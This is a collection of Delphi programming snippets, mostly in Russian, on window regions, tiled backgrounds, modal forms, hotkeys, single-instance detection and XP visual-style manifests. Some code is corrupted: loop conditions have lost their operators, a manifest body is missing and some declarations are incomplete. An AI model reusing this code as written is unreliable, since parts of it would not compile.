bmiInfo.bmiHeader.biYPelsPerMeter:=2834; // пикселей на метр, верт.
bmiInfo.bmiHeader.biClrUsed:=0; // палитры нет, все в ноль
bmiInfo.bmiHeader.biClrImportant:=0; // то же
bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структруы
bmDIB:=CreateDIBSection(DC, bmiInfo, DIB_RGB_COLORS,
Pointer(lpBits), 0, 0);
//создаем независимый растр WxHx24, без палитры, в указателе lpBits получаем
//адрес первого байта этого растра. bmDIB - дискрептор растра
//заполняем первые шесть членов BITMAPINFO для передачи в GetDIBits
bmiInfo.bmiHeader.biWidth:=W; // ширина
bmiInfo.bmiHeader.biHeight:=H; // высота
bmiInfo.bmiHeader.biPlanes:=1; // всегда 1
bmiInfo.bmiHeader.biBitCount:=24; // три байта на пиксель
bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компресси
bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структуры
GetDIBits(DC, Bitmap, 0, H-1, lpBits, bmiInfo, DIB_RGB_COLORS);
//конвертируем исходный растр в наш с его копированием по адресу lpBits
lpOldBits:=lpBits; //запоминаем адрес lpBits
//первый проход - подсчитываем число прямоугольников, необходимых для
//создания региона
C:=0; //сначала ноль
//проход снизу вверх
for Y:=H-1 downto 0 do
begin
X:=0;
//от 0 до ширины-1
while Xdo
begin
//пропускаем прзрачный цвет, увеличивая координату и указатель
while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)=TransClr) and (Xdo
begin
Inc(lpBits);
X:=X+1;
end;
//если нашли не прозрачный цвет, то считаем, сколько точек в ряду он идет
if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)<>TransClr then
begin
while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)<>TransClr) and (Xdo
begin
Inc(lpBits);
X:=X+1;
end;
//увиличиваем счетчик прямоугольников
C:=C+1;
end;
end;
//ряд закончился, необходимо увеличить указатель до кратности 4
PChar(lpBits):=PChar(lpBits)+I;
end;
lpBits:=lpOldBits; //восстанавливаем значение lpBits
//Заполняем структуру RGNDATAHEADER
rdhInfo.iType:=RDH_RECTANGLES; // будем использовать прямоугольники
rdhInfo.nCount:=C; // их количество
rdhInfo.nRgnSize:=0; // размер выделяем памяти не знаем
rdhInfo.rcBound:=Rect(0, 0, W, H); // размер региона
rdhInfo.dwSize:=SizeOf(rdhInfo); // размер структуры
//выделяем память для струтуры RGNDATA:
//сумма RGNDATAHEADER и необходимых на прямоугольников
BufSize:=SizeOf(rdhInfo)+SizeOf(TRect)*C;
GetMem(Buf, BufSize);
//ставим указатель на выделенную память
lpData:=Buf;
//заносим в память RGNDATAHEADER
lpData.rdh:=rdhInfo;
//Заполдяенм память прямоугольниками
lpRect:=@lpData.Buffer; //первый прямоугольник
for Y:=H-1 downto 0 do
begin
X:=0;
while Xdo
begin
while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)=TransClr) and (Xdo
begin
Inc(lpBits);
X:=X+1;
end;
if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)<>TransClr then
begin
F:=X;
while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)<>TransClr) and (Xdo
begin
Inc(lpBits);
X:=X+1;
end;
lpRect^:=Rect(F, Y, X, Y+1); //заносим координаты
Inc(lpRect); //переходим к следующему
end;
end;
PChar(lpBits):=PChar(lpBits)+I;
end;
//после окночания заполнения структуры RGNDATA можно создавать регион.
//трансформации нам не нужны, ставим в nil, указываем размер
//созданной структуры и ее саму.
//создаем регион
Result:=ExtCreateRegion(nil, BufSize, lpData^);
//теперь структура RGNDATA больше не нужна, удаляем
FreeMem(Buf, BufSize);
//созданный растр тоже удаляем
DeleteObject(bmDIB);
end;
end.
Как заполнить фон моей формы повторяющимся изображением?
unit Unit1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormPaint(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Bitmap: TBitmap;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
Bitmap := TBitmap.Create;
Bitmap.LoadFromFile('C:\WINDOWS\cars.BMP');
end;
procedure TForm1.FormPaint(Sender: TObject);
var
X, Y, W, H: LongInt;
begin
with Bitmap do
begin
W := Width;
H := Height;
end;
Y := 0;
while Y < Height do
begin
X := 0;
while X < Width do
begin
Canvas.Draw(X, Y, Bitmap);
Inc(X, W);
end;
Inc(Y, H);
end;
end;
end.
Для начала нужно обеспечить возможность пользователю перемещать окно, хватаясь за клиентскую область, а не за заголовочную,
.к. полосы заголовка, собственно, у нас нет.
Сначала в частных объявлениях (после слова private) объявляем процедуру:
private
procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest;
Затем в разделе implementation описываем её так:
implementation
{$R *.DFM}
procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
begin
inherited;
if M.Result = htClient then
M.Result := htCaption;
end;
Далее самое главное. По созданию окна (событие OnCreate) пишем следующий код:
procedure TForm1.FormCreate(Sender: TObject);
var
hsWindowRegion: Integer;
begin
hsWindowRegion := CreateEllipticRgn(50, 50, 350, 200);
SetWindowRgn(Handle, hsWindowRegion, true);
end;
{
Under windows 2000/XP,if user open a modal dialog,
when the user click the modal form's parent form,
windows can flash the modal form title bar,how to do it by delphi?
you may create base form,let you modal form inherite from the base form,
and add under codes to the base form source:
}
type
TFrmBase = class(TForm)
protected
procedure CreateParams(var Para: TCreateParams); override;
{....}
end;
{.....}
implementation
procedure TFrmBase.CreateParams(var Para: TCreateParams);
begin
inherited;
Para.WndParent := GetActiveWindow;
end;
Вы не можете изменить статус формы с не-модального на модальный без ее закрытия и повторного открытия.
Тем не менее, вы можете достигнуть этой цели, блокируя (disabling) все остальные открытые формы. Следующий пример
переключает модальный статус формы в зависимости от нахождения таблицы в режиме редактирования:
procedure TForm2.DataSource1StateChange(Sender: TObject);
var
ix: integer;
b: boolean;
begin
with (Sender as TDataSource).DataSet do
b := (State = dsBrowse);
with Screen do
for ix := 0 to FormCount - 1 do
if Forms[ix] <> ActiveForm then
Forms[ix].Enabled := b;
end;
Примечание: вам также потребуется предотвращение закрытия формы, пока таблица находится в режиме редактирования
(через обработчик события OnCloseQuery).
procedure ShowAlmostModal(FormModal:TForm);
begin
NavigatorForm.Enabled := false;
FormModal.ShowModal
end;
И вот это пpивесь на OnShow почти модальной фоpмы
procedure FormShow(Sender:Tobject);
begin
NavigatorForm.Enabled := true;
end;
Используйте функцию Windows API SetSysModalWindow(). Код ниже демонстрирует технологию работы с этой функцией.
В любой момент времени может быть возможен только один модально-системны диалог, чей дескриптор возвращается
функцией SetSysModalWindow(). Вам необходимо запомнить возвращаемую функцией величину для того, чтобы завершить
показ диалога таким образом. Вот как примерно это должно выглядеть:
procedure TForm1.Button1Click(Sender: TObject);
var
x: word ;
begin
x := SetSysModalWindow(AboutBox.handle) ;
AboutBox.showmodal ;
SetSysModalWindow(x) ;
end;
Мне нужно откpыть из моей фоpмы модальное окно, т.е. пpиостановить pаботу в моей фоpме до обpаботки этого
модального окна. Hо пpи этом я теpяю возможность убpать (минимизиpовать) мою фоpму
function TMyForm.Execute: TModalResult;
begin
Show;
try
SendMessage(Handle, CM_ACTIVATE, 0, 0);
ModalResult := 0;
repeat
Application.HandleMessage;
if Application.Terminated then
ModalResult := mrCancel;
if ModalResult = mrCancel then
CloseModal;
until ModalResult <> 0;
Hide;
Result := ModalResult;
SendMessage(Handle, CM_DEACTIVATE, 0, 0);
finally
Hide;
end;
end;
Конечно, в TMyForm должно быть FormStyle := fsStayOnTop;
Способ решения, который мне видится на примере отображения формы с lookup-таблицей, необходимой для ввода
данных, и которая должна иметь фокус вне зависимости от способа ее вызова.
Это должно выглядеть приблизительно так:
in fMain.formCreate:
fLookup := tFLookup.create (self);
{отсюда был удален код показа (show)}
in fMain.btn1Click:
fEntry := tFentry.create (self);
fEntry.showModal;
in fMain.LookupButtonClick:
fLookup.showMODAL;
in fEntry.LookupButtonClick:
fLookup.showMODAL;
in fLookup.DoneButtonClick:
fLookup.Hide;
Если внутренняя переменная hPrevInst не равна нулю, то она содержит дескриптор предыдущего запущенного
экземпляра вашей программы. Вы просто находите открытое окно по его дескриптору и, при необходимости,
выводите на передний план. Весь код расположен в файле .DPR file, НЕ в модуле. Строки, которые вам необходимо
добавить к вашему .DPR-файлу, в приведенном ниже примере помечены {*}.
program Once;
uses
{*} WinTypes, WinProcs, SysUtils,
Forms,
Onceu in 'ONCEU.PAS' {Form1};
{$R *.RES}
{*}TYPE
{*} PHWND = ^HWnd;
{*} FUNCTION EnumWndProc(H : hWnd; P : PHWnd) : Integer; Export;
{*} VAR ClassName : ARRAY[0..30] OF Char;
{*} BEGIN
{*} {Если это окно принадлежит предшествующему экземпляру...}
{*} IF GetWindowWord(H, GWW_HINSTANCE) = hPrevInst THEN
{*} BEGIN
{*} {... проверяем КАКОЕ это окно.}
{*} GetClassName(H, ClassName, 30);
{*} {Если это главное окно приложения...}
{*} IF StrIComp(ClassName, 'TApplication') = 0 THEN
{*} BEGIN
{*} {... ищем}
{*}{*} P^ := H;
{*} EnumWndProc := 0;
{*} END;
{*} END;
{*} END;
{*} PROCEDURE CheckPrevInst;
{*} VAR PrevWnd : hWnd;
{*} BEGIN
{*} IF hPrevInst <> 0 THEN
{*} {Предыдущий экземпляр запущен}
{*} BEGIN
{*} PrevWnd := 0;
{*} EnumWindows(@EnumWndProc, LongInt(@PrevWnd));
{*} {Ищем дескриптор окна предыдущего}
{*} {экземпляра и активизируем его}
{*} IF PrevWnd <> 0 THEN
{*} IF IsIconic(PrevWnd) THEN
{*} ShowWindow(PrevWnd, SW_SHOWNORMAL)
{*} ELSE BringWindowToTop(PrevWnd);
{*} Halt;
{*} END;
{*} END;
begin
{*} CheckPrevInst;
Application.Title := 'Once';
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
if ParamCount > 0 then
begin
// Сюда поместите Ваш код, анализирующий ParamStr(1)
end
else
begin
// а здесь укажите, что делать если парамер не был введен.
// Это может быть, например, установка параметров по умолчанию
// или
// halt // если без введенных параметров программа
// вообще не должна выполняться
end;
application.run;
Как сделать так, чтобы при минимизации приложения в Tray его можно было вызвать определённой комбинацией
клавиш, например Alt-Shift-F9 ?
//В обработчике события OnCreate
//основной формы создаём горячую клавишу:
if not RegisterHotkey(Handle, 1, MOD_ALT or MOD_SHIFT, VK_F9) then
ShowMessage('Unable to assign Alt-Shift-F9 as hotkey.');
//В событии OnClose удаляем горячую клавишу:
UnRegisterHotkey( Handle, 1 );
//Добавляем обработчик в форму для сообщения
//WM_HOTKEY:
private // в секции объявлений формы
procedure WMHotkey( var msg: TWMHotkey ); message WM_HOTKEY;
procedure TForm1.WMHotkey( var msg: TWMHotkey );
begin
if msg.hotkey = 1 then
begin
if IsIconic( Application.Handle ) then
Application.Restore;
BringToFront;
end;
end;
Если вы хотите что-то сделать когда ваше приложение теряет фокус, используйте обработчик события Application.onDeactivate.
Добавьте следующую строку в обработчик формы FormCreate:
Application.OnDeactivate=AppDeactivate;
Затем создайте следующий метод:
procedure Form1.AppDeactivate(Sender: TObject);
begin
...
{ здесь ваш код}
...
end;
В Windows 95, по-моему, это самый простой работающий вариант. Этот текст должен находиться в модуле проекта (добраться до
него можно через меню View/Project Source).
program Project1;
uses
Forms,
Windows, // не забудьте эту строчку
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
HM: THandle;
function Check: boolean;
begin
HM := OpenMutex(MUTEX_ALL_ACCESS, false, 'MyOwnMutex');
Result := (HM <> 0);
if HM = 0 then
HM := CreateMutex(nil, false, 'MyOwnMutex');
end;
begin
if Check then
Exit;
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
--------------------------------------------------------------------------------
var
AtomText: array [0..31] of Char;
procedure LookForPreviousInstance;
var
PreviousInstanceWindow : hWnd;
AppName : array[0..30] of char;
FoundAtom : TAtom;
begin
// помещаем имя приложения в AtomText
StrFmt(AtomText, 'OnlyOne%s', [Copy(Application.Title,1,20)]);
// Проверяем, не создано ли уже атома с таким именем приложения
FoundAtom := GlobalFindAtom(AtomText);
if FoundAtom <> 0 then { эта копия приложения уже запущена }
begin
StrFmt(AppName,'%s', [Application.Title]);
// изменяем текущий заголовок, чтобы FindWindow не видела его
Application.ShowMainForm := false;
Application.Title := 'destroy me';
// ищем предыдущую копию приложения
PreviousInstanceWindow := FindWindow(nil,AppName);
// Передаём фокус на предыдущую копию приложения
// завершаем текущую копию
Application.Terminate;
if PreviousInstanceWindow <> 0 then
if IsIconic(PreviousInstanceWindow) then
ShowWindow(PreviousInstanceWindow,SW_RESTORE)
else
SetForegroundWindow(PreviousInstanceWindow);
end;
// создаём глобальный атом, чтобы предотвратить
// запуск другой копии приложения
FoundAtom := GlobalAddAtom(AtomText);
end;
constructor TForm.Create(AOwner: TComponent);
begin
inherited;
LookForPreviousInstance;
end;
destructor TForm.Destroy;
var
FoundAtom : TAtom;
ValueReturned : word;
begin
// не забудьте удалить глобальный атом
FoundAtom := GlobalFindAtom(AtomText);
if FoundAtom <> 0 then
ValueReturned := GlobalDeleteAtom(FoundAtom);
inherited Destroy;
end;
---------------------------------------------
В блоке begin..end модуля .dpr:
begin
if HPrevInst <>0 then
begin
ActivatePreviousInstance;
Halt;
end;
end;
Реализация в модуле:
unit PrevInst;
interface
uses
WinProcs,
WinTypes,
SysUtils;
type
PHWnd = ^HWnd;
function EnumApps(Wnd: HWnd; TargetWindow: PHWnd): bool; export;
procedure ActivatePreviousInstance;
implementation
function EnumApps(Wnd: HWnd; TargetWindow: PHWnd): bool;
var
ClassName: array[0..30] of char;
begin
Result := true;
if GetWindowWord(Wnd, GWW_HINSTANCE) = HPrevInst then
begin
GetClassName(Wnd, ClassName, 30);
if STRIComp(ClassName, 'TApplication') = 0 then
begin
TargetWindow^ := Wnd;
Result := false;
end;
end;
end;
procedure ActivatePreviousInstance;
var
PrevInstWnd: HWnd;
begin
PrevInstWnd := 0;
EnumWindows(@EnumApps, LongInt(@PrevInstWnd));
if PrevInstWnd <> 0 then
if IsIconic(PrevInstWnd) then
ShowWindow(PrevInstWnd, SW_Restore)
else
BringWindowToTop(PrevInstWnd);
end;
end.
---------------------------------------------
unit MultInst;
interface
const
MI_QUERYWINDOWHANDLE = 1;
MI_RESPONDWINDOWHANDLE = 2;
MI_ERROR_NONE = 0;
MI_ERROR_FAILSUBCLASS = 1;
MI_ERROR_CREATINGMUTEX = 2;
// Call this function to determine if error occurred in startup.
// Value will be one or more of the MI_ERROR_* error flags.
function GetMIError: Integer;
implementation
uses Forms, Windows, SysUtils;
const
UniqueAppStr = 'DDG.I_am_the_Eggman!';
var
MessageId: Integer;
WProc: TFNWndProc;
MutHandle: THandle;
MIError: Integer;
function GetMIError: Integer;
begin
Result := MIError;
end;
function NewWndProc(Handle: HWND; Msg: Integer; wParam, lParam: Longint):
Longint; stdcall;
begin
Result := 0;
// If this is the registered message...
if Msg = MessageID then
begin
case wParam of
MI_QUERYWINDOWHANDLE:
// A new instance is asking for main window handle in order
// to focus the main window, so normalize app and send back
// message with main window handle.
begin
if IsIconic(Application.Handle) then
begin
Application.MainForm.WindowState := wsNormal;
Application.Restore;
end;
PostMessage(HWND(lParam), MessageID, MI_RESPONDWINDOWHANDLE,
Application.MainForm.Handle);
end;
MI_RESPONDWINDOWHANDLE:
// The running instance has returned its main window handle,
// so we need to focus it and go away.
begin
SetForegroundWindow(HWND(lParam));
Application.Terminate;
end;
end;
end
// Otherwise, pass message on to old window proc
else
Result := CallWindowProc(WProc, Handle, Msg, wParam, lParam);
end;
procedure SubClassApplication;
begin
// We subclass Application window procedure so that
// Application.OnMessage remains available for user.
WProc := TFNWndProc(SetWindowLong(Application.Handle, GWL_WNDPROC,
Longint(@NewWndProc)));
// Set appropriate error flag if error condition occurred
if WProc = nil then
MIError := MIError or MI_ERROR_FAILSUBCLASS;
end;
procedure DoFirstInstance;
// This is called only for the first instance of the application
begin
// Create the mutex with the (hopefully) unique string
MutHandle := CreateMutex(nil, False, UniqueAppStr);
if MutHandle = 0 then
MIError := MIError or MI_ERROR_CREATINGMUTEX;
end;
procedure BroadcastFocusMessage;
// This is called when there is already an instance running.
var
BSMRecipients: DWORD;
begin
// Prevent main form from flashing
Application.ShowMainForm := False;
// Post message to try to establish a dialogue with previous instance
BSMRecipients := BSM_APPLICATIONS;
BroadCastSystemMessage(BSF_IGNORECURRENTTASK or BSF_POSTMESSAGE,
@BSMRecipients, MessageID, MI_QUERYWINDOWHANDLE,
Application.Handle);
end;
procedure InitInstance;
begin
SubClassApplication; // hook application message loop
MutHandle := OpenMutex(MUTEX_ALL_ACCESS, False, UniqueAppStr);
if MutHandle = 0 then
// Mutex object has not yet been created, meaning that no previous
// instance has been created.
DoFirstInstance
else
BroadcastFocusMessage;
end;
initialization
MessageID := RegisterWindowMessage(UniqueAppStr);
InitInstance;
finalization
// Restore old application window procedure
if WProc <> nil then
SetWindowLong(Application.Handle, GWL_WNDPROC, LongInt(WProc));
if MutHandle <> 0 then
CloseHandle(MutHandle); // Free mutex
end.
unit OIMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TMainForm = class(TForm)
Label1: TLabel;
CloseBtn: TButton;
procedure CloseBtnClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
uses MultInst;
{$R *.DFM}
procedure TMainForm.CloseBtnClick(Sender: TObject);
begin
Close;
end;
end.
---------------------------------------------------
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Запуск одной копии приложения (Mutex-базированный)
Единственная функция Init_Mutex этого модуля (only_one.pas) создает мьютекс
с именем, переданным в параметре mid.
Возврат: true, если мьютекс создан (запущен первый экземпляр приложения)
или false, если уже имеется мьютекс с подобным именем (mid).
Особенности:
1. даже при "гибели" приложения все, относящиеся к нему мьютексы удаляются
с большой степенью вероятности.
2. Желательно "отметить" приложение в системе так, как указано в примере.
При таком подходе Ваше приложение почти со стапроцентной вероятностью
не будет запущено два раза.
Зависимости: Windows
Автор: Роман Василенко, romix@nm.ru, Пятигорск
Copyright: Роман Василенко
Дата: 14 июня 2002 г.
***************************************************** }
unit Only_One;
interface
function Init_Mutex(mid: string): boolean;
implementation
uses Windows;
var
mut: thandle;
function mut_id(s: string): string;
var
f: integer;
begin
result := s;
for f := 1 to length(s) do
if result[f] = '\' then
result[f] := '_';
end;
function Init_Mutex(mid: string): boolean;
begin
Mut := CreateMutex(nil, false, pchar(mut_id(mid)));
Result := not ((Mut = 0) or (GetLastError = ERROR_ALREADY_EXISTS));
end;
initialization
mut := 0;
finalization
if mut <> 0 then
CloseHandle(mut);
end.
Пример использования:
program MyProgram;
uses
only_one,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {dm: TDataModule},
Unit3 in 'Unit3.pas' {Form3},
{$R *.RES}
const
UniqueString = 'MyProgramMutex';
{Может быть любое слово. Желательно латинскими буквами.}
begin
if not init_mutex(UniqueString) then
exit; {Выходим до инициализации, если мьютекс уже есть}
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.CreateForm(Tdm, dm);
Application.CreateForm(TForm3, Form3);
Application.Run;
end.
--------------------------------------------------------
program Previns;
uses
WinTypes,
WinProcs,
SysUtils,
Forms,
Uprevins in 'UPREVINS.PAS' {Form1};
{$R *.RES}
type
PHWND = ^HWND;
function EnumFunc(Wnd: HWND; TargetWindow: PHWND): bool; export;
var
ClassName: array[0..30] of char;
begin
Result := true;
if GetWindowWord(Wnd, GWW_HINSTANCE) = hPrevInst then
begin
GetClassName(Wnd, ClassName, 30);
if StrIComp(ClassName, 'TApplication') = 0 then
begin
TargetWindow^ := Wnd;
Result := false;
end;
end;
end;
procedure GotoPreviousInstance;
var
PrevInstWnd: HWND;
begin
PrevInstWnd := 0;
EnumWindows(@EnumFunc, Longint(@PrevInstWnd));
if PrevInstWnd <> 0 then
if IsIconic(PrevInstWnd) then
ShowWindow(PrevInstWnd, SW_RESTORE)
else
BringWindowToTop(PrevInstWnd);
end;
begin
if hPrevInst <> 0 then
GotoPreviousInstance
else
begin
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
end.
-------------------------------------------
...
uses syncobjs;
...
var
CheckEvent: TEvent;
...
procedure TForm1.FormCreate(Sender: TObject);
begin
CheckEvent := TEvent.Create(nil, false, true, 'MYPROGRAM_CHECKEXIST');
if CheckEvent.WaitFor(10) <> wrSignaled then
begin
// Сюда попадаем если одна копия уже запущена.
// Можно, например, сообщить об этом пользователю.
Self.Close; // Здесь можно завершить программу или сделать еще что-нибудь.
end;
end;
------------------------------------
program Project1;
uses
Forms,
Windows,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
hwnd: THandle;
begin
hwnd := FindWindow('TForm1', 'Form1');
if hwnd = 0 then
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end
else
SetForegroundWindow(hwnd)
end.
---------------------------------
program pds;
uses
Windows,
Forms,
Main in 'MAIN.PAS' {MainForm},
const
MemFileSize = 127;
MemFileName = 'one_example';
var
MemHnd: HWND;
{$R *.RES}
begin
MemHnd := CreateFileMapping(HWND($FFFFFFFF), nil,
PAGE_READWRITE, 0, MemFileSize,
MemFileName);
if GetLastError <> ERROR_ALREADY_EXISTS then
begin
Application.Initialize;
with TForm1.Create(nil) do
try
Show;
Update;
Application.CreateForm(TMainForm, MainForm);
finally
Free;
end;
Application.Run;
end
else
Application.MessageBox('Приложение уже запущено (возможно оно свернуто
на панели задач): Нажмите кнопку ОК для продолжения работы',
'Производственно-диспетчерская служба', MB_OK);
CloseHandle(MemHnd);
end.
-----------------------------------------------
ActivatePrevInstance('TForm1','Значение Caption ');
------------------------------------------------
У меня есть элементарный вариант, проще не бывает. Предлагаемый мной модуль только определяет запущена программа
или нет. Я не стал усложнять этот модуль автоматическим изменением имени семафора на случай если две программы
захотят использовать этот модуль одновременно. Имея самые скромные навыки в программировании можно придумать семафору
своё уникальное имя и переписать его в previnst.pas вовсе не обязательно семафор называть AbraShvabra.
Использование:
В модуле program в части Uses нужно добавить previnst и вы получаете переменную ммм: boolean которая true если
копия программы уже запущена.
Пример:
program Project1;
uses
previnst, windows, Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
if mmm then
begin
ShowWindow(FindWindow('tform1', 'Имя окна которое активизировать'),
SW_restore);
SetForegroundWindow(FindWindow('tform1', 'Имя окна которое
активизировать'));
halt; //завершить программу не создавая ничего.
end;
//Тело программы прогры
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
содержание модуля previnst.pas
unit Previnst;
interface
uses Windows;
var
mmm: boolean; //эта переменная если true то программа уже запущена
implementation
var
hMutex: integer;
begin
mmm := false;
hMutex := CreateMutex(nil, TRUE, 'AbraShvabra'); // Создаем семафор
if GetLastError <> 0 then
mmm := true; // Ошибка семафор уже создан
ReleaseMutex(hMutex);
end.
----------------------------------------------
Предоставленное разработчиками Delphi 2 Пачекой (Pacheco) и Тайхайрой (Teixeira) и значительно переработанное.
unit multinst;
{
Применение:
Необходимый код в исходном проекте
if InitInstance then
begin
Application.Initialize;
Application.CreateForm(TFrmSelProject, FrmSelProject);
Application.Run;
end;
Это все понятно (я надеюсь)
}
interface
uses Forms, Windows, Dialogs, SysUtils;
const
MI_NO_ERROR = 0;
MI_FAIL_SUBCLASS = 1;
MI_FAIL_CREATE_MUTEX = 2;
{ Проверка правильности запуска приложения с помощью описанных ниже функций. }
{ Количество флагов ошибок MI_* может быть более одного. }
function GetMIError: Integer;
function InitInstance: Boolean;
implementation
const
UniqueAppStr: PChar; {Различное для каждого приложения}
var
MessageId: Integer;
WProc: TFNWndProc = nil;
MutHandle: THandle = 0;
MIError: Integer = 0;
function GetMIError: Integer;
begin
Result := MIError;
end;
function NewWndProc(Handle: HWND; Msg: Integer; wParam,
lParam: Longint): Longint; stdcall;
begin
{ Если это - сообщение о регистрации... }
if Msg = MessageID then
begin
{ если основная форма минимизирована, восстанавливаем ее }
{ передаем фокус приложению }
if IsIconic(Application.Handle) then
begin
Application.MainForm.WindowState := wsNormal;
ShowWindow(Application.Mainform.Handle, sw_restore);
end;
SetForegroundWindow(Application.MainForm.Handle);
end
{ В противном случае посылаем сообщение предыдущему окну }
else
Result := CallWindowProc(WProc, Handle, Msg, wParam, lParam);
end;
procedure SubClassApplication;
begin
{ Обязательная процедура. Необходима, чтобы обработчик }
{ Application.OnMessage был доступен для использования. }
WProc := TFNWndProc(SetWindowLong(Application.Handle, GWL_WNDPROC,
Longint(@NewWndProc)));
{ Если происходит ошибка, устанавливаем подходящий флаг }
if WProc = nil then
MIError := MIError or MI_FAIL_SUBCLASS;
end;
procedure DoFirstInstance;
begin
SubClassApplication;
MutHandle := CreateMutex(nil, False, UniqueAppStr);
if MutHandle = 0 then
MIError := MIError or MI_FAIL_CREATE_MUTEX;
end;
procedure BroadcastFocusMessage;
{ Процедура вызывается, если уже имеется запущенная копия Вашей программы. }
var
BSMRecipients: DWORD;
begin
{ Не показываем основную форму }
Application.ShowMainForm := False;
{ Посылаем другому приложению сообщение и информируем о необходимости }
{ перевести фокус на себя }
BSMRecipients := BSM_APPLICATIONS;
BroadCastSystemMessage(BSF_IGNORECURRENTTASK or BSF_POSTMESSAGE,
@BSMRecipients, MessageID, 0, 0);
end;
function InitInstance: Boolean;
begin
MutHandle := OpenMutex(MUTEX_ALL_ACCESS, False, UniqueAppStr);
if MutHandle = 0 then
begin
{ Объект Mutex еще не создан, означая, что еще не создано }
{ другое приложение. }
ShowWindow(Application.Handle, SW_ShowNormal);
Application.ShowMainForm := True;
DoFirstInstance;
result := True;
end
else
begin
BroadcastFocusMessage;
result := False;
end;
end;
initialization
begin
UniqueAppStr := Application.Exexname;
MessageID := RegisterWindowMessage(UniqueAppStr);
ShowWindow(Application.Handle, SW_Hide);
Application.ShowMainForm := FALSE;
end;
finalization
begin
if WProc <> nil then
{ Приводим приложение в исходное состояние }
SetWindowLong(Application.Handle, GWL_WNDPROC, LongInt(WProc));
end;
end.
---------------------------------------------
var
MutexHandle: THandle;
var
UniqueKey: string;
function IsNextInstance: BOOLEAN;
begin
Result := FALSE;
MutexHandle := 0;
MutexHandle := CREATEMUTEX(nil, TRUE, UniqueKey);
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
Result := TRUE;
CLOSEHANDLE(MutexHandle);
MutexHandle := 0;
end;
end;
end;
begin
CmdShow := SW_HIDE;
MessageId := RegisterWindowMessage(zAppName);
Application.Initialize;
if IsNextInstance then
PostMessage(HWND_BROADCAST, MessageId, 0, 0)
else
begin
Application.ShowMainForm := FALSE;
Application.CreateForm(TMainForm, MainForm);
MainForm.StartTimer.Enabled := TRUE;
Application.Run;
end;
if MutexHandle <> 0 then
CLOSEHANDLE(MutexHandle);
end.
В MainForm вам необходимо вставить обработчик внутреннего сообщения
procedure TMainForm.OnAppMessage(var M: TMSG; var Ret: BOOLEAN);
begin
if M.Message = MessageId then
begin
Ret := TRUE;
// Поместить окно наверх !!!!!!!!
end;
end;
initialization
ShowWindow(Application.Handle, SW_Hide);
end.
{
To benefit from the new look and feel (Visual Styles) for the Windows XP
environment, you must include a Manifest in your application.
(Either as resource or as file in the same directory where your application
resides)
The manifest is a XML document. It will allow Windows XP to decide which
version of the comctl32.dll to use when binding.
The XML document contains information about the application you are
writing as well as information concerning the version of the comctl32.dll to use.
The following instruction shows how to
* create the manifest document
* create the XP resource file
* include the file in your application
The steps 1-4 show how to create the files.
You can also download the manifest and resource file from the
Demo-download.
}
{
Damit eine Anwendung das neue Look-and-Feel (Visual Styles) von Windows XP
annimmt, muss eine Manifest Datei in der Applikation enthalten sein.
(Entweder als Ressource oder im gleichen Verzeichnis, wo sich die Applikation
befindet)
Das Manifest ist ein XML Dokument.
Wenn Windows dieses in einer EXE Datei vorfindet, wird automatisch die Version 6
von comctl32.dll geladen und die Controls erscheinen im XP Design.
Die Folgende Anleitung zeigt, wie man
* das manifest Dokument erstellt
* die Ressourcen Datei erstellt
* die Ressource in die Anwendung einbindet.
Das Manifest und die Ressourcen Datei konnen auch uber das "Demo-Download" heruntergeladen
werden. Dann konnen die Schritte 1-4 ausgelassen werden.
}
{1)
Copy this sample manifest and paste it into notepad or any text editor.
Kopiere das Beispiel Manifest und fuge es in einen Texteditor ein (z.B Notepad}
Your Application Description
{2)
To customize to fit your application, replace "name" from assemblyIdentity and the
"description" string with your own data. Then save the file as WinXP.manifest
Andere im Manifest den "name" von assemblyIdentity und die
"description" mit eigenen Angaben. Speichere das Manifest als WinXP.manifest}
{3)
Create another file which contains instructions to include the
WinXP.manifest (XML) document.
The contents of the WinXP.rc looks like this:
Erstelle eine weitere Datei, welche die Instruktionen zur Erstellung
der Ressourcen Datei enthalt.
Der Inhalt von WinXP.rc schaut so aus:}
1 24 "WinXP.manifest"
{4)
Now we need to use Delphi''s resource compiler (brcc32.exe) to compile the WinXP.rc file.
Doing so will result in a WinXP.res
From the command line, type the following:
Compilire nun mit Borland''s Resource Compiler (brcc32.exe),
die Datei WinXP.rc. Es wird dann eine WinXP.res Datei erstellt.
Gibt im MS-DOS Prompt, im Verzeichnis wo sich WinXP.rc befindet, nun folgendes ein:}
brcc32 WinXP.rc
(*5)
Now include the resource in your application.
Include the following compiler directive:
